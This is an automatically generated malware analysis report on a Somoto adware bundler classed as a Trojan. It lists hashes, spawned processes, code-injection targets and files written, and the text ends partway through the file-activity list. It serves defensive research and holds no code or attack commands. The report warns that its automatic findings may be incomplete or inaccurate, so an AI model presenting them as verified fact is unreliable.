Application.Bundler.Somoto.I_1e49cbf272

by malwarelabrobot on May 17th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), Trojan.NSIS.StartPage.FD, Trojan.Win32.Swrort.3.FD, SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 1e49cbf272b0b1cc3bcc98a4a55de57c
SHA1: d25a32f200e3f4e57666531c7aed3b0540ac7415
SHA256: 2b311fbe461953a7dbb2be3c04489246d9d08490c6c440addbb1b206694c788b
SSDeep: 3072:222ihA0m3BJf0AiUny4d7UDe09/ozKBDmz4YUdhxTl3Dm:pA0m3T0AiDe7UDeGoG4z4LhxZzm
Size: 167544 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

GLBCFAD.tmp:3408
%original file name%.exe:2784
smt_istartsurf.exe:3808
ProtectWindowsManager.exe:3888
ProtectWindowsManager.exe:3956
gentray.exe:2256
gentray.exe:3252
gentray.exe:4052
gentray.exe:3400
ProtectService.exe:3600
ProtectService.exe:3944
jsdrv.exe:1868
biclient.exe:2364
biclient.exe:564
biclient.exe:2540
firsttime_setup.exe:3740
ins_yta.exe:3400
QQBrowser.exe:3004
QQBrowser.exe:1592
testlsp.exe:3460
powershell.exe:3892
powershell.exe:3656
powershell.exe:3180
setup.exe:3260
BF0A.tmp:2252
Bientrmqu.exe:3948
cmdshell.exe:3660
ShopperPro.exe:3760
genieo_setup.exe:3576
b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe:3768
wpm_v20.0.0.2227.exe:3016
ins_shopperpro.exe:3996
Jljudlej.exe:3976
HPNotify.exe:3416
regsvr32.exe:2836
regsvr32.exe:3744
regsvr32.exe:3644
lspinst.exe:3636
lspinst.exe:3780
vlc-cache-gen.exe:2528
framework_setup.gen:3832
vlc.exe:3208
InstallGenieo.exe:2936
InstallGenieo.exe:3200
DCytaiesmt_smtyc_setup.exe:3916
DCytaiesmt_smtyc_setup.exe:3944
DCytaiesmt_smtyc_setup.exe:2348
DCytaiesmt_smtyc_setup.exe:3256
DCytaiesmt_smtyc_setup.exe:3208
DCytaiesmt_smtyc_setup.exe:2100
spbiu.exe:1060
spbiu.exe:1732
vlc-2.0.2-win32.exe:1828
wscript.exe:3156
YouTubeAcceleratorService.exe:3936
YouTubeAcceleratorService.exe:3576
YouTubeAcceleratorService.exe:4016
trayapp_setup.gen:3788
genieo_setup.gen:1484
genupdater.exe:3948
INS_SENSE.EXE:3904
9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe:3424
taskeng.exe:3284
ytaiesmt_smtyc_setup.exe:2456
GLJCFEC.tmp:3460
XTab_Setup(2409).exe:3176
INS_IWEBAR.EXE:4080

The Application injects its code into the following process(es):

YouTubeAccelerator.exe:3124
YouTubeAcceleratorService.exe:3204
javaw.exe:2952

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process GLBCFAD.tmp:3408 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (29019 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (134479 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (52637 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (299 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD83A.tmp (93467 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (24998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMD432.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH001f.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (4022 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCCFEB.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (26548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (34866 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFD83B.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6007 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (22176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (6054 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (21730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4005 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0020.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJCFEC.tmp (6 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKD1F0.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1388 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12735 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)

The process %original file name%.exe:2784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsxE7B0.tmp (6471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (115 bytes)

The process smt_istartsurf.exe:3808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\DataBase (27504 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\[email protected]!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\474.db (304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ClearnC.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\XTab_Setup(2409).exe (75523 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\eg2.zip (278366 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\ffv2_0.0.3.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\eg1.zip (209053 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\QQBrowser.exe (5199 bytes)

The process ProtectWindowsManager.exe:3956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)

The process gentray.exe:2256 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\log\gentray.log (14644 bytes)

The process gentray.exe:3252 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\log\gentray.log (7687 bytes)

The process ProtectService.exe:3600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\CmdShell.exe (32 bytes)

The process ProtectService.exe:3944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process YouTubeAccelerator.exe:3124 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A2E.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk395C.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3970.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk386E.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk39F3.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3204.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3460.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_Bientrmqu.log_tmp (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A1C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3124.log_tmp (14 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A1A.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3124.log (78749 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3982.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_Jljudlej.log_tmp (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3460_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3993.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3204_YouTubeAcceleratorService.log_tmp (42 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (269381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A06.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A18.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3460_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3460_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk393B.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A04.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk396E.tmp (1 bytes)

The process jsdrv.exe:1868 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process biclient.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IPKQXNFO.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ga[1].js (27690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (920 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I9T5YUHP.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoDownloadManagerStarBG[1].jpg (2721 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-youtubeaccelerator[1].htm (5934 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (2636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (4985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe (1482965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7GSRTBJO.txt (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TW1H33BU.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XWMUF6RZ.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\226e0daa89188549baf0d586a6bc816b[1].htm (40605 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)

The process biclient.exe:564 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\4dfad7cc08236142b5420a1deefa56ef[1].htm (27759 bytes)

The process biclient.exe:2540 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp (34132 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\e1b8a78c0881034aa57a76140e007cf2[1].htm (28317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[2].png (2320 bytes)
